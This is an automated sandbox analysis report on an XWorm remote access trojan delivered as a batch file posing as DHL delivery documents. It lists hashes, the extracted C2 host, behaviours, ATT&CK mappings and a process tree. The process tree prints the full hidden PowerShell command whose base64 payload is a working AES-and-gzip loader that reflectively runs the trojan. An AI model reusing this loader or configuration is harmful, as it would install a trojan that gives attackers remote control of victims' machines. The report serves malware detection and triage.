xworm | dac0285f7cc9ae45f5c79314a20853c5d9e1071bf657260f7fa34ae8f35a2ec9

General

Target

awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat
Size

64KB
MD5

6ac676101e5cc6f9b723060ffafd7168
SHA1

d1f888277d5a627862316a8a81d90e1a3dd19ee2
SHA256

dac0285f7cc9ae45f5c79314a20853c5d9e1071bf657260f7fa34ae8f35a2ec9
SHA512

8a5417c33e37cce7c58e3dc132d24104b6a9599e2788df9ca3e040b04241ae82d77c4709baa210cc06b638dd6a1ab188f27928db93df203b6b14e9c1a43d41cd
SSDEEP

1536:IZkbmEKUgXEXzICKUnFP25y3Nm8RiepC+gR1LKT6x6bsLO:lHflwYigiHKTW6bsLO

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

bppouzbV7pFA6n72

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4256-21-0x000002057C110000-0x000002057C120000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4256	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d1749ec4.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_d1749ec4.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4256	powershell.exe
4256	powershell.exe
4256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4256	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4340 wrote to memory of 4956	4340	cmd.exe	89
PID 4340 wrote to memory of 4956	4340	cmd.exe	89
PID 4956 wrote to memory of 4256	4956	cmd.exe	91
PID 4956 wrote to memory of 4256	4956	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdm53dGQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHZud3RkKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR2bnd0ZCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR2bnd0ZCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdm53dGQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24ganJpd3koJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1hBOWltS0pYNzVQVk8rTEJ4MFpTZUdoSlRGZU5nelRCMzJUeENwQlpSakk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ01rMzF0UGdXRWkzQi96R1VPbXIrTEE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbmNib2YoJHBhcmFtX3Zhcil7CSRkaGN1dT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkb3FrbWo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbnl5cmc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZGhjdXUsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG55eXJnLkNvcHlUbygkb3FrbWopOwkkbnl5cmcuRGlzcG9zZSgpOwkkZGhjdXUuRGlzcG9zZSgpOwkkb3FrbWouRGlzcG9zZSgpOwkkb3FrbWouVG9BcnJheSgpO31mdW5jdGlvbiByeGRqcSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGlrbm10PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHNnZmJ6PSRpa25tdC5FbnRyeVBvaW50Owkkc2dmYnouSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZud3RkOyRma3VoZD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZud3RkKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbmZsIGluICRma3VoZCkgewlpZiAoJG5mbC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG5oeWlqPSRuZmwuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGt3ZXhxPVtzdHJpbmdbXV0kbmh5aWouU3BsaXQoJ1wnKTskeWVvcHA9bmNib2YgKGpyaXd5IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGt3ZXhxWzBdKSkpOyRyenp6cz1uY2JvZiAoanJpd3kgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygka3dleHFbMV0pKSk7cnhkanEgJHllb3BwICRudWxsO3J4ZGpxICRyenp6cyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1kralok.bsl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
6ac676101e5cc6f9b723060ffafd7168

SHA1
d1f888277d5a627862316a8a81d90e1a3dd19ee2

SHA256
dac0285f7cc9ae45f5c79314a20853c5d9e1071bf657260f7fa34ae8f35a2ec9

SHA512
8a5417c33e37cce7c58e3dc132d24104b6a9599e2788df9ca3e040b04241ae82d77c4709baa210cc06b638dd6a1ab188f27928db93df203b6b14e9c1a43d41cd

Download Submit
memory/4256-16-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

Filesize
10.8MB

Download
memory/4256-13-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

Filesize
10.8MB

Download
memory/4256-14-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

Filesize
10.8MB

Download
memory/4256-3-0x000002057C010000-0x000002057C032000-memory.dmp

Filesize
136KB

Download
memory/4256-2-0x00007FFAA1BA3000-0x00007FFAA1BA5000-memory.dmp

Filesize
8KB

Download
memory/4256-17-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

Filesize
10.8MB

Download
memory/4256-21-0x000002057C110000-0x000002057C120000-memory.dmp

Filesize
64KB

Download
memory/4256-19-0x000002057C0E0000-0x000002057C0EE000-memory.dmp

Filesize
56KB

Download
memory/4256-18-0x000002057C000000-0x000002057C008000-memory.dmp

Filesize
32KB

Download
memory/4256-22-0x00007FFAA1BA3000-0x00007FFAA1BA5000-memory.dmp

Filesize
8KB

Download
memory/4256-23-0x00007FFAA1BA0000-0x00007FFAA2661000-memory.dmp

Filesize
10.8MB

Download

Analysis

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